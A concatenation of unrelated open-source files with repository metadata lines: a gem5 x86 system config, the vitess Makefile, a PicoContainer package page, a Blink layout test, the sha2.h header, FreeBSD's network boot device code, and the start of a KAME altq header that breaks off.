def makeX86System(mem_mode, numCPUs = 1, mdesc = None, self = None,
Ruby = False):
if self == None:
self = X86System()
if not mdesc:
# generic system
mdesc = SysConfig()
self.readfile = mdesc.script()
self.mem_mode = mem_mode
# Physical memory
# On the PC platform, the memory region 0xC0000000-0xFFFFFFFF is reserved
# for various devices. Hence, if the physical memory size is greater than
# 3GB, we need to split it into two parts.
excess_mem_size = \
convert.toMemorySize(mdesc.mem()) - convert.toMemorySize('3GB')
if excess_mem_size <= 0:
self.mem_ranges = [AddrRange(mdesc.mem())]
else:
warn("Physical memory size specified is %s which is greater than " \
"3GB. Twice the number of memory controllers would be " \
"created." % (mdesc.mem()))
self.mem_ranges = [AddrRange('3GB'),
AddrRange(Addr('4GB'), size = excess_mem_size)]
# Platform
self.pc = Pc()
# Create and connect the busses required by each memory system
if Ruby:
connectX86RubySystem(self)
else:
connectX86ClassicSystem(self, numCPUs)
self.intrctrl = IntrControl()
# Disks
disk0 = CowIdeDisk(driveID='master')
disk2 = CowIdeDisk(driveID='master')
disk0.childImage(mdesc.disk())
disk2.childImage(disk('linux-bigswap2.img'))
self.pc.south_bridge.ide.disks = [disk0, disk2]
# Add in a Bios information structure.
structures = [X86SMBiosBiosInformation()]
self.smbios_table.structures = structures
# Set up the Intel MP table
base_entries = []
ext_entries = []
for i in xrange(numCPUs):
bp = X86IntelMPProcessor(
local_apic_id = i,
local_apic_version = 0x14,
enable = True,
bootstrap = (i == 0))
base_entries.append(bp)
io_apic = X86IntelMPIOAPIC(
id = numCPUs,
version = 0x11,
enable = True,
address = 0xfec00000)
self.pc.south_bridge.io_apic.apic_id = io_apic.id
base_entries.append(io_apic)
isa_bus = X86IntelMPBus(bus_id = 0, bus_type='ISA')
base_entries.append(isa_bus)
pci_bus = X86IntelMPBus(bus_id = 1, bus_type='PCI')
base_entries.append(pci_bus)
connect_busses = X86IntelMPBusHierarchy(bus_id=0,
subtractive_decode=True, parent_bus=1)
ext_entries.append(connect_busses)
pci_dev4_inta = X86IntelMPIOIntAssignment(
interrupt_type = 'INT',
polarity = 'ConformPolarity',
trigger = 'ConformTrigger',
source_bus_id = 1,
source_bus_irq = 0 + (4 << 2),
dest_io_apic_id = io_apic.id,
dest_io_apic_intin = 16)
base_entries.append(pci_dev4_inta)
def assignISAInt(irq, apicPin):
assign_8259_to_apic = X86IntelMPIOIntAssignment(
interrupt_type = 'ExtInt',
polarity = 'ConformPolarity',
trigger = 'ConformTrigger',
source_bus_id = 0,
source_bus_irq = irq,
dest_io_apic_id = io_apic.id,
dest_io_apic_intin = 0)
base_entries.append(assign_8259_to_apic)
assign_to_apic = X86IntelMPIOIntAssignment(
interrupt_type = 'INT',
polarity = 'ConformPolarity',
trigger = 'ConformTrigger',
source_bus_id = 0,
source_bus_irq = irq,
dest_io_apic_id = io_apic.id,
dest_io_apic_intin = apicPin)
base_entries.append(assign_to_apic)
assignISAInt(0, 2)
assignISAInt(1, 1)
for i in range(3, 15):
assignISAInt(i, i)
self.intel_mp_table.base_entries = base_entries
self.intel_mp_table.ext_entries = ext_entries
def makeLinuxX86System(mem_mode, numCPUs = 1, mdesc = None,
Ruby = False):
self = LinuxX86System()
# Build up the x86 system and then specialize it for Linux
makeX86System(mem_mode, numCPUs, mdesc, self, Ruby)
# We assume below that there's at least 1MB of memory. We'll require 2
# just to avoid corner cases.
phys_mem_size = sum(map(lambda r: r.size(), self.mem_ranges))
assert(phys_mem_size >= 0x200000)
assert(len(self.mem_ranges) <= 2)
entries = \
[
# Mark the first megabyte of memory as reserved
X86E820Entry(addr = 0, size = '639kB', range_type = 1),
X86E820Entry(addr = 0x9fc00, size = '385kB', range_type = 2),
# Mark the rest of physical memory as available
X86E820Entry(addr = 0x100000,
size = '%dB' % (self.mem_ranges[0].size() - 0x100000),
range_type = 1),
# Reserve the last 16kB of the 32-bit address space for the
# m5op interface
X86E820Entry(addr=0xFFFF0000, size='64kB', range_type=2),
]
# In case the physical memory is greater than 3GB, we split it into two
# parts and add a separate e820 entry for the second part. This entry
# starts at 0x100000000, which is the first address after the space
# reserved for devices.
if len(self.mem_ranges) == 2:
entries.append(X86E820Entry(addr = 0x100000000,
size = '%dB' % (self.mem_ranges[1].size()), range_type = 1))
self.e820_table.entries = entries
# Command line
self.boot_osflags = 'earlyprintk=ttyS0 console=ttyS0 lpj=7999923 ' + \
'root=/dev/hda1'
self.kernel = binary('x86_64-vmlinux-2.6.22.9')
return self
def makeDualRoot(full_system, testSystem, driveSystem, dumpfile):
self = Root(full_system = full_system)
self.testsys = testSystem
self.drivesys = driveSystem
self.etherlink = EtherLink()
if hasattr(testSystem, 'realview'):
self.etherlink.int0 = Parent.testsys.realview.ethernet.interface
self.etherlink.int1 = Parent.drivesys.realview.ethernet.interface
elif hasattr(testSystem, 'tsunami'):
self.etherlink.int0 = Parent.testsys.tsunami.ethernet.interface
self.etherlink.int1 = Parent.drivesys.tsunami.ethernet.interface
else:
fatal("Don't know how to connect these system together")
if dumpfile:
self.etherdump = EtherDump(file=dumpfile)
self.etherlink.dump = Parent.etherdump
return self
| bsd-3-clause |
yaoshengzhe/vitess | Makefile | 4905 | # Copyright 2012, Google Inc. All rights reserved.
# Use of this source code is governed by a BSD-style license that can
# be found in the LICENSE file.
MAKEFLAGS = -s
# Disabled parallel processing of target prerequisites to avoid that integration tests are racing each other (e.g. for ports) and may fail.
# Since we are not using this Makefile for compilation, limiting parallelism will not increase build time.
.NOTPARALLEL:
.PHONY: all build test clean unit_test unit_test_cover unit_test_race integration_test bson proto site_test site_integration_test docker_bootstrap docker_test docker_unit_test java_test php_test reshard_tests
all: build test
# Set a custom value for -p, the number of packages to be built/tested in parallel.
# This is currently only used by our Travis CI test configuration.
# (Also keep in mind that this value is independent of GOMAXPROCS.)
ifdef VT_GO_PARALLEL
VT_GO_PARALLEL := "-p" $(VT_GO_PARALLEL)
endif
# Link against the MySQL library in $VT_MYSQL_ROOT if it's specified.
ifdef VT_MYSQL_ROOT
# Clutter the env var only if it's a non-standard path.
ifneq ($(VT_MYSQL_ROOT),/usr)
CGO_LDFLAGS += -L$(VT_MYSQL_ROOT)/lib
endif
endif
build:
ifndef NOBANNER
echo $$(date): Building source tree
endif
godep go install $(VT_GO_PARALLEL) -ldflags "$(tools/build_version_flags.sh)" ./go/...
# To pass extra flags, run test.go manually.
# For example: go run test.go -docker=false -- --extra-flag
# For more info see: go run test.go -help
test:
go run test.go -docker=false
site_test: unit_test site_integration_test
clean:
go clean -i ./go/...
rm -rf third_party/acolyte
# This will remove object files for all Go projects in the same GOPATH.
# This is necessary, for example, to make sure dependencies are rebuilt
# when switching between different versions of Go.
clean_pkg:
rm -rf ../../../../pkg Godeps/_workspace/pkg
unit_test: build
echo $$(date): Running unit tests
godep go test $(VT_GO_PARALLEL) ./go/...
# Run the code coverage tools, compute aggregate.
# If you want to improve in a directory, run:
# go test -coverprofile=coverage.out && go tool cover -html=coverage.out
unit_test_cover: build
godep go test $(VT_GO_PARALLEL) -cover ./go/... | misc/parse_cover.py
unit_test_race: build
godep go test $(VT_GO_PARALLEL) -race ./go/...
# Run coverage and upload to coveralls.io.
# Requires the secret COVERALLS_TOKEN env variable to be set.
unit_test_goveralls: build
travis/goveralls.sh
.ONESHELL:
SHELL = /bin/bash
# Run the following tests after making worker changes.
worker_test:
godep go test ./go/vt/worker/
go run test.go -docker=false binlog resharding resharding_bytes vertical_split initial_sharding initial_sharding_bytes worker
site_integration_test:
go run test.go -docker=false keyrange keyspace mysqlctl tabletmanager vtdb vtgatev2
java_test:
godep go install ./go/cmd/vtgateclienttest
mvn -f java/pom.xml clean verify
php_test:
godep go install ./go/cmd/vtgateclienttest
phpunit php/tests
bson:
go generate ./go/...
# This rule rebuilds all the go files from the proto definitions for gRPC.
# 1. list all proto files.
# 2. remove 'proto/' prefix and '.proto' suffix.
# 3. (go) run protoc for each proto and put in go/vt/proto/${proto_file_name}/
# 4. (python) run protoc for each proto and put in py/vtproto/
proto:
find proto -name '*.proto' -print | sed 's/^proto\///' | sed 's/\.proto//' | xargs -I{} $$VTROOT/dist/protobuf/bin/protoc -Iproto proto/{}.proto --go_out=plugins=grpc:go/vt/proto/{}
find go/vt/proto -name "*.pb.go" | xargs sed --in-place -r -e 's,import ([a-z0-9_]+) ".",import \1 "github.com/youtube/vitess/go/vt/proto/\1",g'
find proto -name '*.proto' -print | sed 's/^proto\///' | sed 's/\.proto//' | xargs -I{} $$VTROOT/dist/protobuf/bin/protoc -Iproto proto/{}.proto --python_out=py/vtproto --grpc_out=py/vtproto --plugin=protoc-gen-grpc=$$VTROOT/dist/grpc/bin/grpc_python_plugin
# This rule builds the bootstrap images for all flavors.
docker_bootstrap:
docker/bootstrap/build.sh common
docker/bootstrap/build.sh mariadb
docker/bootstrap/build.sh mysql56
docker_base:
# Fix permissions before copying files, to avoid AUFS bug.
chmod -R o=g *
docker build -t vitess/base .
docker_lite:
cd docker/lite && ./build.sh
docker_guestbook:
cd examples/kubernetes/guestbook && ./build.sh
docker_etcd:
cd docker/etcd-lite && ./build.sh
# This rule loads the working copy of the code into a bootstrap image,
# and then runs the tests inside Docker.
# Example: $ make docker_test flavor=mariadb
docker_test:
go run test.go -flavor $(flavor)
docker_unit_test:
go run test.go -flavor $(flavor) unit
# This can be used to rebalance the total average runtime of each group of
# tests in Travis. The results are saved in test/config.json, which you can
# then commit and push.
rebalance_tests:
go run test.go -rebalance 5 -remote-stats http://enisoc.com:15123/travis/stats
| bsd-3-clause |
tmyroadctfig/picocontainer-android | src/org/picocontainer/package.html | 1218 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
</head>
<body>
<p>
This package contains the core API for PicoContainer, a compact container for working with the
<a href="http://www.martinfowler.com/articles/injection.html">dependency injection</a> pattern.
</p>
<p>
When you use
PicoContainer for dependency injection, you create a new instance of {@link org.picocontainer.MutablePicoContainer},
register classes (and possibly
{@link org.picocontainer.ComponentAdapter}s and component instances created through other means).
</p>
<p>
Object instances can then be accessed through the {@link org.picocontainer.PicoContainer} interface. The container will create all
instances for you automatically, resolving their dependencies and order of instantiation. The default container implementation is
the {@link org.picocontainer.DefaultPicoContainer} class.
</p>
<p>An extensive user guide,
a list of Frequently Asked Questions (FAQ) with answers and a lot more information is available from the
<a href="http://www.picocontainer.org/">PicoContainer</a> website. You can also find various extensions, wrappers
and utility libraries that are based on this core API there.</p>
</body>
</html>
| bsd-3-clause |
ondra-novak/blink | LayoutTests/compositing/overflow/selection-gaps-toggling.html | 2173 | <!DOCTYPE html>
<style>
.container {
height: 500px;
width: 300px;
overflow: scroll;
}
.scrolled {
height: 50px;
width: 100px;
background: orange;
margin: 15px;
transform: translateZ(0);
}
</style>
<script>
if (window.testRunner)
testRunner.dumpAsText();
if (window.internals)
window.internals.settings.setAcceleratedCompositingForOverflowScrollEnabled(true);
onload = function()
{
var pre = document.getElementById("console");
pre.innerHTML = '';
if (window.internals) {
var layerTreeAsText = internals.layerTreeAsText(document);
pre.innerHTML += '\n\n*** iteration 1: ***\n\n';
pre.innerHTML += layerTreeAsText;
}
var selection = getSelection();
var range = document.createRange();
range.selectNode(document.getElementById("selection"));
selection.addRange(range);
if (window.internals) {
var layerTreeAsText = internals.layerTreeAsText(document);
pre.innerHTML += '\n\n*** iteration 2: ***\n\n';
pre.innerHTML += layerTreeAsText;
}
selection.removeAllRanges();
if (window.internals) {
var layerTreeAsText = internals.layerTreeAsText(document);
pre.innerHTML += '\n\n*** iteration 3: ***\n\n';
pre.innerHTML += layerTreeAsText;
}
}
</script>
This test passes if the container's scrolling contents layer (the first child of the GraphicsLayer with 4 children)
doesn't draw content at all, and its scrolling block selection layer (the child of the scrolling contents layer)
draws content only on iteration 2. The scrolling block selection layer should also be much smaller than the
scrolling contents layer.
<div class="container">
<div class="scrolled">Lorem Ipsum</div>
<div class="scrolled">Lorem Ipsum</div>
<div class="scrolled" id="selection">Lorem Ipsum</div>
<div class="scrolled">Lorem Ipsum</div>
<div class="scrolled">Lorem Ipsum</div>
<div class="scrolled">Lorem Ipsum</div>
<div class="scrolled">Lorem Ipsum</div>
<div class="scrolled">Lorem Ipsum</div>
<div class="scrolled">Lorem Ipsum</div>
<div class="scrolled">Lorem Ipsum</div>
</div>
<pre id="console"></pre>
| bsd-3-clause |
rescrv/encryptify | sha2.h | 6293 | /* $OpenBSD: sha2.h,v 1.10 2016/09/03 17:00:29 tedu Exp $ */
/*
* FILE: sha2.h
* AUTHOR: Aaron D. Gifford <[email protected]>
*
* Copyright (c) 2000-2001, Aaron D. Gifford
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the copyright holder nor the names of contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTOR(S) ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTOR(S) BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* $From: sha2.h,v 1.1 2001/11/08 00:02:01 adg Exp adg $
*/
#ifndef _SHA2_H
#define _SHA2_H
/*** SHA-256/384/512 Various Length Definitions ***********************/
#define SHA224_BLOCK_LENGTH 64
#define SHA224_DIGEST_LENGTH 28
#define SHA224_DIGEST_STRING_LENGTH (SHA224_DIGEST_LENGTH * 2 + 1)
#define SHA256_BLOCK_LENGTH 64
#define SHA256_DIGEST_LENGTH 32
#define SHA256_DIGEST_STRING_LENGTH (SHA256_DIGEST_LENGTH * 2 + 1)
#define SHA384_BLOCK_LENGTH 128
#define SHA384_DIGEST_LENGTH 48
#define SHA384_DIGEST_STRING_LENGTH (SHA384_DIGEST_LENGTH * 2 + 1)
#define SHA512_BLOCK_LENGTH 128
#define SHA512_DIGEST_LENGTH 64
#define SHA512_DIGEST_STRING_LENGTH (SHA512_DIGEST_LENGTH * 2 + 1)
/*** SHA-224/256/384/512 Context Structure *******************************/
typedef struct _SHA2_CTX {
union {
u_int32_t st32[8];
u_int64_t st64[8];
} state;
u_int64_t bitcount[2];
u_int8_t buffer[SHA512_BLOCK_LENGTH];
} SHA2_CTX;
__BEGIN_DECLS
void SHA224Init(SHA2_CTX *);
void SHA224Transform(u_int32_t state[8], const u_int8_t [SHA224_BLOCK_LENGTH]);
void SHA224Update(SHA2_CTX *, const u_int8_t *, size_t)
__attribute__((__bounded__(__string__,2,3)));
void SHA224Pad(SHA2_CTX *);
void SHA224Final(u_int8_t [SHA224_DIGEST_LENGTH], SHA2_CTX *)
__attribute__((__bounded__(__minbytes__,1,SHA224_DIGEST_LENGTH)));
char *SHA224End(SHA2_CTX *, char *)
__attribute__((__bounded__(__minbytes__,2,SHA224_DIGEST_STRING_LENGTH)));
char *SHA224File(const char *, char *)
__attribute__((__bounded__(__minbytes__,2,SHA224_DIGEST_STRING_LENGTH)));
char *SHA224FileChunk(const char *, char *, off_t, off_t)
__attribute__((__bounded__(__minbytes__,2,SHA224_DIGEST_STRING_LENGTH)));
char *SHA224Data(const u_int8_t *, size_t, char *)
__attribute__((__bounded__(__string__,1,2)))
__attribute__((__bounded__(__minbytes__,3,SHA224_DIGEST_STRING_LENGTH)));
void SHA256Init(SHA2_CTX *);
void SHA256Transform(u_int32_t state[8], const u_int8_t [SHA256_BLOCK_LENGTH]);
void SHA256Update(SHA2_CTX *, const u_int8_t *, size_t)
__attribute__((__bounded__(__string__,2,3)));
void SHA256Pad(SHA2_CTX *);
void SHA256Final(u_int8_t [SHA256_DIGEST_LENGTH], SHA2_CTX *)
__attribute__((__bounded__(__minbytes__,1,SHA256_DIGEST_LENGTH)));
char *SHA256End(SHA2_CTX *, char *)
__attribute__((__bounded__(__minbytes__,2,SHA256_DIGEST_STRING_LENGTH)));
char *SHA256File(const char *, char *)
__attribute__((__bounded__(__minbytes__,2,SHA256_DIGEST_STRING_LENGTH)));
char *SHA256FileChunk(const char *, char *, off_t, off_t)
__attribute__((__bounded__(__minbytes__,2,SHA256_DIGEST_STRING_LENGTH)));
char *SHA256Data(const u_int8_t *, size_t, char *)
__attribute__((__bounded__(__string__,1,2)))
__attribute__((__bounded__(__minbytes__,3,SHA256_DIGEST_STRING_LENGTH)));
void SHA384Init(SHA2_CTX *);
void SHA384Transform(u_int64_t state[8], const u_int8_t [SHA384_BLOCK_LENGTH]);
void SHA384Update(SHA2_CTX *, const u_int8_t *, size_t)
__attribute__((__bounded__(__string__,2,3)));
void SHA384Pad(SHA2_CTX *);
void SHA384Final(u_int8_t [SHA384_DIGEST_LENGTH], SHA2_CTX *)
__attribute__((__bounded__(__minbytes__,1,SHA384_DIGEST_LENGTH)));
char *SHA384End(SHA2_CTX *, char *)
__attribute__((__bounded__(__minbytes__,2,SHA384_DIGEST_STRING_LENGTH)));
char *SHA384File(const char *, char *)
__attribute__((__bounded__(__minbytes__,2,SHA384_DIGEST_STRING_LENGTH)));
char *SHA384FileChunk(const char *, char *, off_t, off_t)
__attribute__((__bounded__(__minbytes__,2,SHA384_DIGEST_STRING_LENGTH)));
char *SHA384Data(const u_int8_t *, size_t, char *)
__attribute__((__bounded__(__string__,1,2)))
__attribute__((__bounded__(__minbytes__,3,SHA384_DIGEST_STRING_LENGTH)));
void SHA512Init(SHA2_CTX *);
void SHA512Transform(u_int64_t state[8], const u_int8_t [SHA512_BLOCK_LENGTH]);
void SHA512Update(SHA2_CTX *, const u_int8_t *, size_t)
__attribute__((__bounded__(__string__,2,3)));
void SHA512Pad(SHA2_CTX *);
void SHA512Final(u_int8_t [SHA512_DIGEST_LENGTH], SHA2_CTX *)
__attribute__((__bounded__(__minbytes__,1,SHA512_DIGEST_LENGTH)));
char *SHA512End(SHA2_CTX *, char *)
__attribute__((__bounded__(__minbytes__,2,SHA512_DIGEST_STRING_LENGTH)));
char *SHA512File(const char *, char *)
__attribute__((__bounded__(__minbytes__,2,SHA512_DIGEST_STRING_LENGTH)));
char *SHA512FileChunk(const char *, char *, off_t, off_t)
__attribute__((__bounded__(__minbytes__,2,SHA512_DIGEST_STRING_LENGTH)));
char *SHA512Data(const u_int8_t *, size_t, char *)
__attribute__((__bounded__(__string__,1,2)))
__attribute__((__bounded__(__minbytes__,3,SHA512_DIGEST_STRING_LENGTH)));
__END_DECLS
#endif /* _SHA2_H */
| bsd-3-clause |
jhbsz/OSI-OS | sys/boot/common/dev_net.c | 8914 | /* $NetBSD: dev_net.c,v 1.23 2008/04/28 20:24:06 martin Exp $ */
/*-
* Copyright (c) 1997 The NetBSD Foundation, Inc.
* All rights reserved.
*
* This code is derived from software contributed to The NetBSD Foundation
* by Gordon W. Ross.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#include <sys/cdefs.h>
__FBSDID("$FreeBSD$");
/*-
* This module implements a "raw device" interface suitable for
* use by the stand-alone I/O library NFS code. This interface
* does not support any "block" access, and exists only for the
* purpose of initializing the network interface, getting boot
* parameters, and performing the NFS mount.
*
* At open time, this does:
*
* find interface - netif_open()
* RARP for IP address - rarp_getipaddress()
* RPC/bootparams - callrpc(d, RPC_BOOTPARAMS, ...)
* RPC/mountd - nfs_mount(sock, ip, path)
*
* the root file handle from mountd is saved in a global
* for use by the NFS open code (NFS/lookup).
*/
#include <machine/stdarg.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <stand.h>
#include <string.h>
#include <net.h>
#include <netif.h>
#include <bootp.h>
#include <bootparam.h>
#include "dev_net.h"
#include "bootstrap.h"
#ifdef NETIF_DEBUG
int debug = 0;
#endif
static char *netdev_name;
static int netdev_sock = -1;
static int netdev_opens;
static int net_init(void);
static int net_open(struct open_file *, ...);
static int net_close(struct open_file *);
static void net_cleanup(void);
static int net_strategy();
static void net_print(int);
static int net_getparams(int sock);
struct devsw netdev = {
"net",
DEVT_NET,
net_init,
net_strategy,
net_open,
net_close,
noioctl,
net_print,
net_cleanup
};
static int
net_init(void)
{
return (0);
}
/*
* Called by devopen after it sets f->f_dev to our devsw entry.
* This opens the low-level device and sets f->f_devdata.
* This is declared with variable arguments...
*/
static int
net_open(struct open_file *f, ...)
{
va_list args;
char *devname; /* Device part of file name (or NULL). */
int error = 0;
va_start(args, f);
devname = va_arg(args, char*);
va_end(args);
#ifdef NETIF_OPEN_CLOSE_ONCE
/* Before opening another interface, close the previous one first. */
if (netdev_sock >= 0 && strcmp(devname, netdev_name) != 0)
net_cleanup();
#endif
/* On first open, do netif open, mount, etc. */
if (netdev_opens == 0) {
/* Find network interface. */
if (netdev_sock < 0) {
netdev_sock = netif_open(devname);
if (netdev_sock < 0) {
printf("net_open: netif_open() failed\n");
return (ENXIO);
}
netdev_name = strdup(devname);
#ifdef NETIF_DEBUG
if (debug)
printf("net_open: netif_open() succeeded\n");
#endif
}
if (rootip.s_addr == 0) {
/* Get root IP address, and path, etc. */
error = net_getparams(netdev_sock);
if (error) {
/* getparams makes its own noise */
free(netdev_name);
netif_close(netdev_sock);
netdev_sock = -1;
return (error);
}
}
}
netdev_opens++;
f->f_devdata = &netdev_sock;
return (error);
}
static int
net_close(struct open_file *f)
{
#ifdef NETIF_DEBUG
if (debug)
printf("net_close: opens=%d\n", netdev_opens);
#endif
f->f_devdata = NULL;
#ifndef NETIF_OPEN_CLOSE_ONCE
/* Extra close call? */
if (netdev_opens <= 0)
return (0);
netdev_opens--;
/* Not last close? */
if (netdev_opens > 0)
return (0);
/* On last close, do netif close, etc. */
#ifdef NETIF_DEBUG
if (debug)
printf("net_close: calling net_cleanup()\n");
#endif
net_cleanup();
#endif
return (0);
}
static void
net_cleanup(void)
{
if (netdev_sock >= 0) {
#ifdef NETIF_DEBUG
if (debug)
printf("net_cleanup: calling netif_close()\n");
#endif
rootip.s_addr = 0;
free(netdev_name);
netif_close(netdev_sock);
netdev_sock = -1;
}
}
static int
net_strategy()
{
return (EIO);
}
#define SUPPORT_BOOTP
/*
* Get info for NFS boot: our IP address, our hostname,
* server IP address, and our root path on the server.
* There are two ways to do this: The old, Sun way,
* and the more modern, BOOTP way. (RFC951, RFC1048)
*
* The default is to use the Sun bootparams RPC
* (because that is what the kernel will do).
* MD code can make try_bootp initialied data,
* which will override this common definition.
*/
#ifdef SUPPORT_BOOTP
int try_bootp = 1;
#endif
extern n_long ip_convertaddr(char *p);
static int
net_getparams(int sock)
{
char buf[MAXHOSTNAMELEN];
char temp[FNAME_SIZE];
struct iodesc *d;
int i;
n_long smask;
#ifdef SUPPORT_BOOTP
/*
* Try to get boot info using BOOTP. If we succeed, then
* the server IP address, gateway, and root path will all
* be initialized. If any remain uninitialized, we will
* use RARP and RPC/bootparam (the Sun way) to get them.
*/
if (try_bootp)
bootp(sock, BOOTP_NONE);
if (myip.s_addr != 0)
goto exit;
#ifdef NETIF_DEBUG
if (debug)
printf("net_open: BOOTP failed, trying RARP/RPC...\n");
#endif
#endif
/*
* Use RARP to get our IP address. This also sets our
* netmask to the "natural" default for our address.
*/
if (rarp_getipaddress(sock)) {
printf("net_open: RARP failed\n");
return (EIO);
}
printf("net_open: client addr: %s\n", inet_ntoa(myip));
/* Get our hostname, server IP address, gateway. */
if (bp_whoami(sock)) {
printf("net_open: bootparam/whoami RPC failed\n");
return (EIO);
}
#ifdef NETIF_DEBUG
if (debug)
printf("net_open: client name: %s\n", hostname);
#endif
/*
* Ignore the gateway from whoami (unreliable).
* Use the "gateway" parameter instead.
*/
smask = 0;
gateip.s_addr = 0;
if (bp_getfile(sock, "gateway", &gateip, buf) == 0) {
/* Got it! Parse the netmask. */
smask = ip_convertaddr(buf);
}
if (smask) {
netmask = smask;
#ifdef NETIF_DEBUG
if (debug)
printf("net_open: subnet mask: %s\n", intoa(netmask));
#endif
}
#ifdef NETIF_DEBUG
if (gateip.s_addr && debug)
printf("net_open: net gateway: %s\n", inet_ntoa(gateip));
#endif
/* Get the root server and pathname. */
if (bp_getfile(sock, "root", &rootip, rootpath)) {
printf("net_open: bootparam/getfile RPC failed\n");
return (EIO);
}
exit:
/*
* If present, strip the server's address off of the rootpath
* before passing it along. This allows us to be compatible with
* the kernel's diskless (BOOTP_NFSROOT) booting conventions
*/
for (i = 0; rootpath[i] != '\0' && i < FNAME_SIZE; i++)
if (rootpath[i] == ':')
break;
if (i && i != FNAME_SIZE && rootpath[i] == ':') {
rootpath[i++] = '\0';
if (inet_addr(&rootpath[0]) != INADDR_NONE)
rootip.s_addr = inet_addr(&rootpath[0]);
bcopy(&rootpath[i], &temp[0], strlen(&rootpath[i])+1);
bcopy(&temp[0], &rootpath[0], strlen(&rootpath[i])+1);
}
#ifdef NETIF_DEBUG
if (debug) {
printf("net_open: server addr: %s\n", inet_ntoa(rootip));
printf("net_open: server path: %s\n", rootpath);
}
#endif
d = socktodesc(sock);
sprintf(temp, "%6D", d->myea, ":");
setenv("boot.netif.ip", inet_ntoa(myip), 1);
setenv("boot.netif.netmask", intoa(netmask), 1);
setenv("boot.netif.gateway", inet_ntoa(gateip), 1);
setenv("boot.netif.hwaddr", temp, 1);
setenv("boot.nfsroot.server", inet_ntoa(rootip), 1);
setenv("boot.nfsroot.path", rootpath, 1);
return (0);
}
static void
net_print(int verbose)
{
struct netif_driver *drv;
int i, d, cnt;
cnt = 0;
for (d = 0; netif_drivers[d]; d++) {
drv = netif_drivers[d];
for (i = 0; i < drv->netif_nifs; i++) {
printf("\t%s%d:", "net", cnt++);
if (verbose)
printf(" (%s%d)", drv->netif_bname,
drv->netif_ifs[i].dif_unit);
}
}
printf("\n");
}
| bsd-3-clause |
MarginC/kame | kame/sys/altq/altq_flowvalve.h | 2987 | /* $KAME: altq_flowvalve.h,v 1.5 2002/04/03 05:38:50 kjc Exp $ */
/*
* Copyright (C) 1998-2002
* Sony Computer Science Laboratories Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY SONY CSL AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL SONY CSL OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#ifndef _ALTQ_ALTQ_FLOWVALVE_H_
#define _ALTQ_ALTQ_FLOWVALVE_H_
#ifdef _KERNEL
/* fv_flow structure to define a unique address pair */
struct fv_flow {
int flow_af; /* address family */
union {
